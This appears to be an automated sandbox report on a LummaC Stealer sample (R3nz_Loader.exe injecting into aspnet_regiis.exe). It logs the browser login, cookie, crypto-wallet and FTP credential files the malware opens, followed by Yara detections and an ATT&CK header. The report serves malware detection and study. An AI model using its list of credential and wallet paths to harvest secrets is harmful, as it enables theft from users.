Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior

Source: Yara match	File source: 00000003.00000003.2082382204.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2065068299.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 5780, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 5780, type: MEMORYSTR
Source: Yara match	File source: 3.2.aspnet_regiis.exe.2760000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.R3nz_Loader.exe.6cf01000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.R3nz_Loader.exe.6cf01000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.R3nz_Loader.exe.6cee0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.R3nz_Loader.exe.a10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2233480373.0000000000A12000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2236989771.000000006CF01000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
